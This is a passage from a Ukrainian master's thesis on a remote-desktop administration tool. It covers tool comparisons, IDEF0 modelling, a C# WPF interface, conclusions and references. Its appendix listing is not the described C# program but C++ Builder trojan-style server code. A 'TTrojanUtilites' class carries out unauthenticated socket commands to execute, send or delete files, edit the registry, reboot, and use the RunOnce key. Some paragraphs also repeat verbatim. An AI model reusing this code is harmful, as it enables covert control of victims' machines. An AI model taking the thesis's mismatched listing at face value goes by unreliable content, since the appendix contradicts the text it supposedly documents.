- швидке, стабільне підключення при повільному інтернеті;
- кросплатформовий, доступний для Windows та Unix, з включеним Java-
клієнтом;
- сумісний зі стандартним програмним забезпеченням VNC, що
відповідає специфікаціям протоколу RFB.
Мінуси: - один «майстер-пароль».
Порівнявши популярні програми для віддаленого підключення до
робочого столу, мною був обраний TightVNC, повністю безкоштовний,
швидкий і стабільний.
Для розробки бази даних MySQL необхідний інструмент, який з легкістю
дозволить створити і наповнити базу. Найбільш популярними інтерфейсами є:
DBeaver, phpMyAdmin, Toad, HeidiSQL та інші.
DBeaver – безкоштовний багатоплатформний інструмент бази даних для
розробників, адміністраторів баз даних, аналітиків та всіх людей, яким потрібно
працювати з базами даних.
Підтримує всі популярні бази даних: MySQL, PostgreSQL, SQLite, Oracle,
DB2, SQL Server, Sybase, MS Access, Teradata, Firebird, Apache Hive, Phoenix,
Presto та ін.
Можливості функціоналу DBeaver: - є безкоштовна та платна версія,
безкоштовна версія підтримує популярні БД;
- підтримує мультимовність;
- робота з базами даних, з їхньою структурою та індексами;
- авто заповнення SQL запиту;
- підтримка SSH-тунелювання, щоб ви могли легко підключитись до
виробничої бази даних;
- імпорт / експорт даних та створення сценаріїв SQL виконуються швидко
та просто;
- автоматичний пошук потрібних
драйверів. Мінуси DBeaver:
48

- наявність уразливостей у захисті;


- немає підтримки баз даних NoSQL;
- є платна версія.
PHPMyAdmin – це популярний безкоштовний інструмент із відкритим
вихідним кодом, який використовується для адміністрування MySQL за
допомогою веб-браузера. Типові операції, такі як управління базами даних,
таблицями, індексами, дозволами і т. д., виконуються за допомогою
користувальницького інтер

4.2 моделювання програми

На початковому етапі аналізу та вивчення об'єкта відбувається


моделювання засобами методології IDEF0.
IDEF0 – Function Modeling – методологія функціонального моделювання
та графічна нотація, призначена для формалізації та опису бізнес-процесів.
Відмінною особливістю IDEF0 є акцент на супідрядність об'єктів. У IDEF0
розглядаються логічні відносини між роботами, а чи не їх тимчасова
послідовність (WorkFlow).
Перед початком розробки програми або іншого програмного
забезпечення для спрощення процесів визначення, візуалізації, проектування
потрібно скористатися UML діаграмами. Але перед побудовою діаграм
потрібно побудувати дві моделі програми:
- інформаційна модель;
- функціональна модель.
Інформаційна модель потрібна, щоб позначити входи та виходи даних
програми, а також для визначення елементів керування програми та механізму,
які будуть використовуватись у програмі.
Функціональна модель потрібна відображення функціональної структури
докладання, тобто. вироблені їм дії та зв'язки між цими діями.
Розглянемо докладніше розроблену інформаційну
модель. Як входи в основний блок виступають:
- потреба підприємства.
Відповідно до перерахованих входів, у інтерфейсу повинен бути
наступний вихід:
- підключення до віддаленого робочого столу.
49

Засобами управління є:
- технічне завдання;
- документація

Рисунок 4.1 - Інформаційна

модель Механізмами діяльності системи є

користувачі.
У процесі функціонування програми можна виділити обробку запити
отримання інформації про машині користувача, куди входять запити до ОС.
Користувач працює з даними з ОС і даних з бази даних виконана за допомогою
прописаного алгоритму.
Таким чином модель наочно відображає дії програми. Користувач,
використовуючи форму, вібирає необхідну машину, далі відбувається
підключення до машини або отримує необхідну системну інформацію і виконує
необхідні дії з відібраною машиною. Розробник може взаємодіяти як із
обробкою даних, і з додатком.
Користувач, на відміну розробника, безпосередньо взаємодіє лише з
додатком.
50

4.3 опис програми

У процесі розробки було написано програму, основним функціоналом є


віддалене підключення до робочих столів співробітників підприємства,
програма, написана мовою C#. За допомогою підпрограми TightVNC, яка
дозволяє створювати стабільні швидкі підключення, було вивільнено час, через
що більшість витрачено на написання коду основного функціоналу програми.
Для створення інтерфейсу програми вибір зупинився на фреймворку
MahApps.Metro, який дозволяє розробникам з мінімальними зусиллями
створювати лояльні інтерфейси.
Для розробки проекту використовується ще одна бібліотека це
MySql.Data.MySqlClient, бібліотека призначена для встановлення з'єднання та
взаємодії з БД, ми мінімізували кількість сторонніх бібліотек, залишивши
тільки необхідні, щоб розмір програми був мінімальним.
MySql.Data.MySqlClient - представляє набір команд та даних створення
підключення до бази даних, які використовуються для заповнення набору
даних та оновлення бази даних MySQL на підставі запитів. [3]
MahApps.Metro - перевизначає стиль за промовчанням усіх поширених
елементів управління WPF і придає їм сучасний вигляд. MahApps.Metro також
ключає деякі елементи керування, що настроюються, і має відкритий вихідний
код.
Windows Presentation Foundation (WPF) — це платформа інтерфейсу
користувача для створення клієнтських програм для настільних систем.
Платформа розробки WPF підтримує широкий набір компонентів для розробки
програм, включаючи модель програми, ресурси, елементи управління, графіку,
макет, прив'язки даних, документи та безпеку. [16]
Тільки після підготовки форм (рис. 4.2), з'являється можливість створити
свій проект. Як уже було зазначено раніше, програмне забезпечення, засновані
на фреймворках, мають певну структуру папок, які об'єднані за функціями, що
виконуються (рис. 4.3)
Структура документа складається з 5 каталогів, але мають значення лише
каталоги ресурсів і файли, які знаходяться поза каталогами. Каталог ресурсів
містить зображення та іконки, які ми використовуємо в програмі.
У файлах .xaml зберігається розмітка з погляду моделі програмування на
C# спрощує створення інтерфейсу для програми .NET.
51

Файли проекту MainWindow.xaml.cs, у яких написаний код головного


інтерфейсу перебувають у кореневому каталозі WNCC2.

Рисунок 4.2 – Проектування форми

Рисунок 4.3 - Структура проекту


52

Усі імпорти використаний у головному файлі інтерфейсу показано на


зображенні ( рис 4.4). Меню з-під правої клавіші миші з додатковими
функціями та звітами для адміністраторів систем прописано у фалі App.xaml.cs.
відображення меню в інтерфейсі ( рис 4.5).
Структура документа складається з 5 каталогів, але мають значення лише
каталоги ресурсів і файли, які знаходяться поза каталогами. Каталог ресурсів
містить зображення та іконки, які ми використовуємо в програмі.

Рисунок 4.4 - Імпорти файлу MainWindow.xaml.cs

У файлах .xaml зберігається розмітка з погляду моделі програмування на


C# спрощує створення інтерфейсу для програми .NET.
Файли проекту MainWindow.xaml.cs, у яких написаний код головного
інтерфейсу перебувають у кореневому каталозі WNCC2.
53

У результаті виконаної роботи є доброзичливий інтерфейс, інтуїтивно


зрозумілою навігацією, з табличною частиною користувачів основної форми
(рис 4.5), фреймворке MahApps.Metro дозволяють отримати приємний
інтерфейс.

Рисунок 4.5 - Головна форма

Підключення працює стабільно та досить швидко, програма була


перевірена під час роботи в утиліті VMware Workstation PRO на створеній
віртуальній машині та використана при тестуванні.
За натисканням на кнопку ping дає візуальне уявлення для користувача є
з'єднання з обраною машиною чи ні, користувач має можливість підключитися
на пряму до машини, відкрити консоль або файлову систему ОС, після чого
можна завантажити потрібні файли.
ВИСНОВКИ ТА РЕКОМЕНДАЦІЇ

Магістерська робота присвячена, розробці програми для віддаленого


підключення з елементами системного адміністрування та зручності технічної
підтримки.
У роботі було виконано огляд функціональних можливостей найбільш
популярних рішень щодо надання послуг віддаленого доступу, віддаленого
адміністрування та позначені основні сфери застосування тих чи інших
програмних засобів. Незважаючи на те, що засоби віддаленого доступу
частково взаємозамінні, використання одного конкретного програмного
продукту або методу доступу може виявитися більш виправданим, ніж
використання іншого. Наведено рекомендації щодо настроювання деяких
додатків та служб та позначено основні відмінності засобів віддаленого
доступу, що стосуються одного класу.
Під час опрацювання матеріалу, що відноситься до програм віддаленого
підключення, було виявлено проблему відсутності на ринку спеціалізованих
програм для роботи, видаленої з користувачами з налаштуванням конфігурації
під потреби підприємства, були розглянуті плюси та мінуси програм для
віддаленого підключення. В результаті вивчення головної проблематики теми
було доведено актуальність розробки програми для віддаленого підключення.
Перед початком розробки були складені IDEF0 діаграма для модельного
представлення проекту, написане технічне завдання та представлений дизайн
інтерфейсу програми.
В результаті написання магістерської роботи було розроблено програму
для віддаленого підключення та адміністрування відповідно до технічного
завдання.
ПЕРЕЛІК ДЖЕРЕЛ ПОСИЛАННЯ

1 В. Олифер, Н. Олифер «Компьютерные сети. Принципы, технологии,


протоколы. Учебник» (2016)
2 Э. Таненбаум, Д. Уэзеролл «Компьютерные сети» 5-е изд. (2016)
3 Официальный сайт программного продукта Radmin [Електронний ресурс] -
Режим доступу: http://radmin.ru, свободный.
4 Официальный сайт программного продуктаTeamViewer [Електронний
ресурс] - Режим доступу: https://teamviewer.com,
5 Официальный сайт программного продукта AmmyAdmin
[Електронний ресурс] - Режим доступу: http://ammyadmin.com
6 Официальный сайт программного продукта RemoteMaster
7 [Електронний ресурс] - Режим доступу: http://remotemaster.3dn.ru/
8 A Full Review of UltraVNC, a Free Remote Access/Desktop Program // Lifewire
provides expert-created, real-world technology content [Електронний ресурс] -
Режим доступу:URL: https://www.lifewire.com/ultravnc-review-2625160
9 LiteManager // [Електронний ресурс] - Режим доступу:URL:
http://www.litemanager.ru/
10 MySqlConnection Class // MySQL Connector/NET 8.0 API Reference
[Електронний ресурс] - Режим доступу: URL:
https://dev.mysql.com/doc/dev/connector-
net/8.0/html/T_MySql_Data_MySqlClient_MySqlConnection.htm // (
11 Pros and Cons of Using C# as Your Backend Programming Language //
Agilites:Software Development Company [Електронний ресурс] - Режим
доступу:URL: https://agilites.com/pros- and-cons-of-using-c-as-your-backend-
programming-language.html/
12 Sublime Text 3 для верстки сайтов. Настройка внешнего вида и установка
плагинов. Руководство для начинающих // Хабр [Електронний ресурс]
13 Режим доступу: URL: https://habr.com/ru/post/458206/
14 The Advantages and Disadvantages of Microsoft SQL Server // Rothmobot is the
online source for articles and news on business management, marketing, people
management and business technology [Електронний ресурс] - Режим доступу:
URL:
15 https://www.rothmobot.com/the-advantages-and-disadvantages-of-microsoft-
sql- server//
16 Visual Studio IDE Reviews // Software Reviews You Can Trust [Електронний
ресурс] - Режим доступу:URL:
https://www.trustradius.com/products/visual-studio-ide/reviews?qs=pros- and-
cons/
17 АССИСТЕНТ // Официальный сайт URL: https://мойассистент.рф/ (дата
обращения: 01.12.2020). 10. ГОСТ 34.602-89 Информационная технология
(ИТ). Комплекс стандартов на автоматизированные системы. Техническое
задание на создание автоматизированной системы. От 24.03.1989.; Введ.
1990- 01-01. (Единая система программной документации)
18 Гришаева С.С., Кобылянский В.Г. ПРОГРАММА УДАЛЕННОГО АД-
МИНИСТРИРОВАНИЯ // Инженерные решения: эл.научный журнал. –
2019
19 16 Кальченко В. В. Использование программ удаленного
администрирования для несанкционированного доступа к
информационным ресурсам / В. В. Кальченко, М. В. Цуранов // Системи
обробки інформації. - 2010.
20 Вип. 3. - С. 27-30 13. Комаров А. Ю. Разработка клиент-серверного
приложения для удаленного управления компьютером (Network Bridge) / А.
Ю. Комаров, В.А.
21 Дорофеев; науч. рук. В. А. Дорофеев // Современные техника и техно
логии: сборник трудов XX международной научно-практической кон
ференции студентов, аспирантов и молодых ученых, Томск, 14-18 апре ля
2014 г.: в 3 т. — Томск: Изд-во ТПУ, 2014. — Т. 2. — С. 191-192.
22 Кратинов А.Г., Чернышов О.С Анализ средств удаленного управления
сетевыми ресурсами // - Донецк: Донецкий национальный технический
университет, 2012. - С. 460-463
23 Кузнецов М.А. Проектирование системы удалённого администрирова ния
серверов / Кузнецов М.А., Степаненко И.А. // Прикаспийский жур- нал:
управление и высокие технологии. - 2010. - № 3. - С. 77-83.
24 Начало работы с WPF // Документация по семейству продуктов Visual
Studio [Електронний ресурс] - Режим доступу:URL:
https://docs.microsoft.com/ru- ru/visualstudio/designers/getting- started-with-
wpf?view=vs-2019 //
25 Шкондин А. А. Использование планшетного компьютера в качестве
терминала или удаленное администрирование с помощью IPad / А. А.
Шкондин. гос.пед. ин-т. — Шадринск : Изд-во Шадр. гос.пед. ин-т., 2012.
— С. 214-219.
Додаток А
ПЕРЕЛІК КОПІЙ ДЕМОНСТРАЦІЙНОГО МАТЕРІАЛУ

Слайд 1 - Класифікація систем віддаленого керування (таб.1.1, стор 17)


Слайд 2 - Майстер налаштування сервера маршрутизації та віддаленого
доступу (рис.2.1, стор 24)
Слайд 3 - Встановлення нового VPN-з'єднання (таб.2.5, стор 26)
Слайд 4 - Активна ssh-сесія у PuTTY (рис. 2.8, стор 28)
Слайд 5 – Лістинг програми (додаток Б)
Додаток Б
ЛІСТИНГ ПРОГРАМИ

Сервер
void fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент
TServerSocket ServSckt->Port = 4321;
ServSckt->Active = true;
}

Отже, зазначили порт, активізували сокет. Тепер обробляємо подію


ClientRead, тобто. одержання даних сокетом. Коментую на прикладі:

void fastcall TForm1::ServScktClientRead(TObject


*Sender, TCustomWinSocket *Socket)
{
RecCommand(Socket->ReceiveText());
// пишемо для наочності функцію обробки що надійшла
// інформації, яку передаємо як параметр цієї функції}
//
// Власне сама функція: Rec - скорочення від Recognize. Можна по-іншому
назвати =)
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz; // створюємо об'єкт наших утиліт
Utilz.Sock=ServSckt;
// Необхідно відсилати відповіді клієнту, оскільки сокет в нас
// знаходиться на формі, а TTrojanUtilites не має жодного відношення к
формі.
Просто передаємо покажчик на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length()); // отримати перший символ повідомлення -
номер командиcn = StrToInt(temp);
// перетворимо на
число
received.Delete(1,1);
switch (cn) { // відповідно до отриманої команди //
запускаємо відповідну утиліту
case 1 : Utilz.RestartMachine(); break;
case 2 : Utilz.WriteRegistry(received);
break; case 3 : Utilz.ReadRegistry(received);
break; case 4 : Utilz.SendFile(received);
break;
case 5 : Utilz.DeleteFile(received); break;
case 6 : Utilz.ExecuteFile(received); break;
case 7 : Utilz.OpenCloseCD; break;
case 8 : Utilz.HideMouse(); break;
case 9 : Utilz.SwapMouseButtons(); break;
default:
SendMsgToClient("неприпустима команда!") ; // отримано неприпустиму
команду
}}

Приклад функції утиліти

void TTrojanUtilites::DeleteFile(String f)
{
if (!FileExists(f))
{
Sock->Socket->Connections[0]->SendText("Файл не існує.");
return;
}
TRegistry* Reg=new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE;
Reg-
>OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true);
Reg->WriteString("Filez for delete","command.com /c del "+f);
Reg->CloseKey();
Sock->Socket->Connections[0]->SendText("Файл "+f+" буде видалено після
перезавантаження.");}

You might also like